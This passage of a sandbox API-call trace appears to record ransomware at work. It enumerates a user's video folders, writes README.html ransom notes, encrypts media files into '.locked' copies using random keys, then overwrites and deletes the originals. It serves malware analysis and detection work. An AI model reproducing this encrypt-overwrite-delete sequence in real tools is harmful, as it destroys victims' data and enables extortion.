	[0081.521] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69a3780, ftCreationTime.dwHighDateTime=0x1d4d533, ftLastAccessTime.dwLowDateTime=0x737c3b10, ftLastAccessTime.dwHighDateTime=0x1d4c78b, ftLastWriteTime.dwLowDateTime=0x737c3b10, ftLastWriteTime.dwHighDateTime=0x1d4c78b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiuceb-k93k5 lGWnCN", cAlternateFileName="TIUCEB~1")) returned 1
	[0081.521] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937cd6b0, ftCreationTime.dwHighDateTime=0x1d4ca9f, ftLastAccessTime.dwLowDateTime=0x50419690, ftLastAccessTime.dwHighDateTime=0x1d4d37f, ftLastWriteTime.dwLowDateTime=0x50419690, ftLastWriteTime.dwHighDateTime=0x1d4d37f, nFileSizeHigh=0x0, nFileSizeLow=0x94ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="xFzbLSmDcbxo.avi", cAlternateFileName="XFZBLS~1.AVI")) returned 1
	[0081.521] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e33f60, ftCreationTime.dwHighDateTime=0x1d4ce2e, ftLastAccessTime.dwLowDateTime=0x7be0cd10, ftLastAccessTime.dwHighDateTime=0x1d4cfd9, ftLastWriteTime.dwLowDateTime=0x7be0cd10, ftLastWriteTime.dwHighDateTime=0x1d4cfd9, nFileSizeHigh=0x0, nFileSizeLow=0x4aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_F5gFCSeu637.mkv", cAlternateFileName="_F5GFC~1.MKV")) returned 1
	[0081.521] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0081.521] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0081.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.521] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0081.522] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0081.523] CloseHandle (hObject=0xc0) returned 1
	[0081.523] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x44, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee8b0*=0x44) returned 1
	[0081.524] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\-GSDwwSS6u-ZK.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\-gsdwwss6u-zk.flv"), fInfoLevelId=0x0, lpFileInformation=0x123fc3c8 | out: lpFileInformation=0x123fc3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6711aa0, ftCreationTime.dwHighDateTime=0x1d4cb40, ftLastAccessTime.dwLowDateTime=0xb3964e30, ftLastAccessTime.dwHighDateTime=0x1d4d1a8, ftLastWriteTime.dwLowDateTime=0xb3964e30, ftLastWriteTime.dwHighDateTime=0x1d4d1a8, nFileSizeHigh=0x0, nFileSizeLow=0x123a6)) returned 1
	[0081.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\-GSDwwSS6u-ZK.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\-gsdwwss6u-zk.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.524] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\-GSDwwSS6u-ZK.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\-gsdwwss6u-zk.flv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.525] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.526] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c380 | out: pbBuffer=0x1238c380) returned 1
	[0081.526] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8270 | out: pbBuffer=0x127a8270) returned 1
	[0081.526] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416301 | out: pbBuffer=0x12416301) returned 1
	[0081.526] WriteFile (in: hFile=0xc4, lpBuffer=0x123e7000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x123e7000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0081.528] SetEvent (hEvent=0x78) returned 1
	[0081.528] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x123a6, lpOverlapped=0x0) returned 1
	[0081.530] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x123a6, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x123a6, lpOverlapped=0x0) returned 1
	[0081.531] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0081.532] CloseHandle (hObject=0xc4) returned 1
	[0081.532] CloseHandle (hObject=0xc0) returned 1
	[0081.532] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.532] SetEvent (hEvent=0x78) returned 1
	[0081.532] SetEvent (hEvent=0x8c) returned 1
	[0081.532] SetEvent (hEvent=0x80) returned 1
	[0081.532] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.533] SetEvent (hEvent=0xa8) returned 1
	[0081.533] SetEvent (hEvent=0x80) returned 1
	[0081.533] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee83c*=0x40) returned 1
	[0081.534] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\-GSDwwSS6u-ZK.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\-gsdwwss6u-zk.flv")) returned 1
	[0081.552] SetEvent (hEvent=0x8c) returned 1
	[0081.557] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.557] SetEvent (hEvent=0x8c) returned 1
	[0081.557] SetEvent (hEvent=0x80) returned 1
	[0081.557] SetEvent (hEvent=0x78) returned 1
	[0081.557] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.558] SetEvent (hEvent=0xa8) returned 1
	[0081.558] SetEvent (hEvent=0x78) returned 1
	[0081.559] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.560] SetEvent (hEvent=0x78) returned 1
	[0081.560] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.560] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.560] SetEvent (hEvent=0x78) returned 1
	[0081.560] SetEvent (hEvent=0x80) returned 1
	[0081.560] SetEvent (hEvent=0x8c) returned 1
	[0081.560] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.561] SetEvent (hEvent=0x8c) returned 1
	[0081.561] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\-GSDwwSS6u-ZK.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\-gsdwwss6u-zk.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.562] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0081.562] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.579] CloseHandle (hObject=0xc0) returned 1
	[0081.580] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\-GSDwwSS6u-ZK.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\-gsdwwss6u-zk.flv")) returned 1
	[0081.583] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c07ee30, ftCreationTime.dwHighDateTime=0x1d4cfe0, ftLastAccessTime.dwLowDateTime=0x650f49a0, ftLastAccessTime.dwHighDateTime=0x1d4c7d1, ftLastWriteTime.dwLowDateTime=0x650f49a0, ftLastWriteTime.dwHighDateTime=0x1d4c7d1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0081.583] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0081.583] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c07ee30, ftCreationTime.dwHighDateTime=0x1d4cfe0, ftLastAccessTime.dwLowDateTime=0x650f49a0, ftLastAccessTime.dwHighDateTime=0x1d4c7d1, ftLastWriteTime.dwLowDateTime=0x650f49a0, ftLastWriteTime.dwHighDateTime=0x1d4c7d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0081.583] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c07ee30, ftCreationTime.dwHighDateTime=0x1d4cfe0, ftLastAccessTime.dwLowDateTime=0x650f49a0, ftLastAccessTime.dwHighDateTime=0x1d4c7d1, ftLastWriteTime.dwLowDateTime=0x650f49a0, ftLastWriteTime.dwHighDateTime=0x1d4c7d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.583] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91cce700, ftCreationTime.dwHighDateTime=0x1d4d356, ftLastAccessTime.dwLowDateTime=0x7ccb6ec0, ftLastAccessTime.dwHighDateTime=0x1d4ce66, ftLastWriteTime.dwLowDateTime=0x7ccb6ec0, ftLastWriteTime.dwHighDateTime=0x1d4ce66, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Js4gGe48", cAlternateFileName="")) returned 1
	[0081.583] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x160fbab0, ftCreationTime.dwHighDateTime=0x1d4cc95, ftLastAccessTime.dwLowDateTime=0xea86db20, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0xea86db20, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0xa377, dwReserved0=0x0, dwReserved1=0x0, cFileName="mIGbTI.flv", cAlternateFileName="")) returned 1
	[0081.583] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1430470, ftCreationTime.dwHighDateTime=0x1d4d1f9, ftLastAccessTime.dwLowDateTime=0x4eeda2f0, ftLastAccessTime.dwHighDateTime=0x1d4cbb6, ftLastWriteTime.dwLowDateTime=0x4eeda2f0, ftLastWriteTime.dwHighDateTime=0x1d4cbb6, nFileSizeHigh=0x0, nFileSizeLow=0x5315, dwReserved0=0x0, dwReserved1=0x0, cFileName="WkNwQzEAE.avi", cAlternateFileName="WKNWQZ~1.AVI")) returned 1
	[0081.583] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0081.583] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0081.584] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.585] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeccc | out: lpMode=0x127eeccc) returned 0
	[0081.586] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eecbc, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eecbc*=0xc5a, lpOverlapped=0x0) returned 1
	[0081.587] CloseHandle (hObject=0xc0) returned 1
	[0081.587] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4e, lpNumberOfCharsWritten=0x127ee84c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee84c*=0x4e) returned 1
	[0081.588] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48"), fInfoLevelId=0x0, lpFileInformation=0x123fc238 | out: lpFileInformation=0x123fc238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91cce700, ftCreationTime.dwHighDateTime=0x1d4d356, ftLastAccessTime.dwLowDateTime=0x7ccb6ec0, ftLastAccessTime.dwHighDateTime=0x1d4ce66, ftLastWriteTime.dwLowDateTime=0x7ccb6ec0, ftLastWriteTime.dwHighDateTime=0x1d4ce66, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0081.588] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0081.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91cce700, ftCreationTime.dwHighDateTime=0x1d4d356, ftLastAccessTime.dwLowDateTime=0x7ccb6ec0, ftLastAccessTime.dwHighDateTime=0x1d4ce66, ftLastWriteTime.dwLowDateTime=0x7ccb6ec0, ftLastWriteTime.dwHighDateTime=0x1d4ce66, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0081.588] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91cce700, ftCreationTime.dwHighDateTime=0x1d4d356, ftLastAccessTime.dwLowDateTime=0x7ccb6ec0, ftLastAccessTime.dwHighDateTime=0x1d4ce66, ftLastWriteTime.dwLowDateTime=0x7ccb6ec0, ftLastWriteTime.dwHighDateTime=0x1d4ce66, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.588] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeab22620, ftCreationTime.dwHighDateTime=0x1d4c57b, ftLastAccessTime.dwLowDateTime=0xa4072cf0, ftLastAccessTime.dwHighDateTime=0x1d4ce56, ftLastWriteTime.dwLowDateTime=0xa4072cf0, ftLastWriteTime.dwHighDateTime=0x1d4ce56, nFileSizeHigh=0x0, nFileSizeLow=0x8e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="5u6anHlJ.mkv", cAlternateFileName="")) returned 1
	[0081.589] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x734a34e0, ftCreationTime.dwHighDateTime=0x1d4c5e6, ftLastAccessTime.dwLowDateTime=0x21018d0, ftLastAccessTime.dwHighDateTime=0x1d4c8a7, ftLastWriteTime.dwLowDateTime=0x21018d0, ftLastWriteTime.dwHighDateTime=0x1d4c8a7, nFileSizeHigh=0x0, nFileSizeLow=0x124fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB9HSb49 lAVue3QW.mp4", cAlternateFileName="WB9HSB~1.MP4")) returned 1
	[0081.589] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab5643b0, ftCreationTime.dwHighDateTime=0x1d4ce06, ftLastAccessTime.dwLowDateTime=0x2c33f950, ftLastAccessTime.dwHighDateTime=0x1d4ca38, ftLastWriteTime.dwLowDateTime=0x2c33f950, ftLastWriteTime.dwHighDateTime=0x1d4ca38, nFileSizeHigh=0x0, nFileSizeLow=0xd6d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y_g655.avi", cAlternateFileName="")) returned 1
	[0081.589] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0081.589] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0081.589] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.591] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec68 | out: lpMode=0x127eec68) returned 0
	[0081.591] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eec58, lpOverlapped=0x0 | out: lpBuffer=0x126f0c80*, lpNumberOfBytesWritten=0x127eec58*=0xc5a, lpOverlapped=0x0) returned 1
	[0081.592] CloseHandle (hObject=0xc0) returned 1
	[0081.592] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1250a000*, nNumberOfCharsToWrite=0x57, lpNumberOfCharsWritten=0x127ee7e8, lpReserved=0x0 | out: lpBuffer=0x1250a000*, lpNumberOfCharsWritten=0x127ee7e8*=0x57) returned 1
	[0081.593] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\5u6anHlJ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\5u6anhlj.mkv"), fInfoLevelId=0x0, lpFileInformation=0x123fc418 | out: lpFileInformation=0x123fc418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeab22620, ftCreationTime.dwHighDateTime=0x1d4c57b, ftLastAccessTime.dwLowDateTime=0xa4072cf0, ftLastAccessTime.dwHighDateTime=0x1d4ce56, ftLastWriteTime.dwLowDateTime=0xa4072cf0, ftLastWriteTime.dwHighDateTime=0x1d4ce56, nFileSizeHigh=0x0, nFileSizeLow=0x8e7d)) returned 1
	[0081.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\5u6anHlJ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\5u6anhlj.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.593] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0081.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\5u6anHlJ.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\5u6anhlj.mkv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.594] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0081.595] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3a0 | out: pbBuffer=0x1238c3a0) returned 1
	[0081.595] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a83e0 | out: pbBuffer=0x127a83e0) returned 1
	[0081.595] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416401 | out: pbBuffer=0x12416401) returned 1
	[0081.595] WriteFile (in: hFile=0xc4, lpBuffer=0x1279d000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x1279d000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0081.597] SetEvent (hEvent=0x80) returned 1
	[0081.597] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x8e7d, lpOverlapped=0x0) returned 1
	[0081.598] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x8e7d, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeabc*=0x8e7d, lpOverlapped=0x0) returned 1
	[0081.599] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0081.599] CloseHandle (hObject=0xc4) returned 1
	[0081.599] CloseHandle (hObject=0xc0) returned 1
	[0081.600] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.600] SetEvent (hEvent=0x80) returned 1
	[0081.600] SetEvent (hEvent=0x8c) returned 1
	[0081.600] SetEvent (hEvent=0x78) returned 1
	[0081.600] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.601] SetEvent (hEvent=0xa8) returned 1
	[0081.601] SetEvent (hEvent=0x78) returned 1
	[0081.601] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4e, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee774*=0x4e) returned 1
	[0081.602] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\5u6anHlJ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\5u6anhlj.mkv")) returned 1
	[0081.622] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.623] SetEvent (hEvent=0xa8) returned 1
	[0081.623] SetEvent (hEvent=0x8c) returned 1
	[0081.627] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.627] SetEvent (hEvent=0x8c) returned 1
	[0081.627] SetEvent (hEvent=0x78) returned 1
	[0081.627] SetEvent (hEvent=0x80) returned 1
	[0081.627] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.628] SetEvent (hEvent=0x80) returned 1
	[0081.629] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
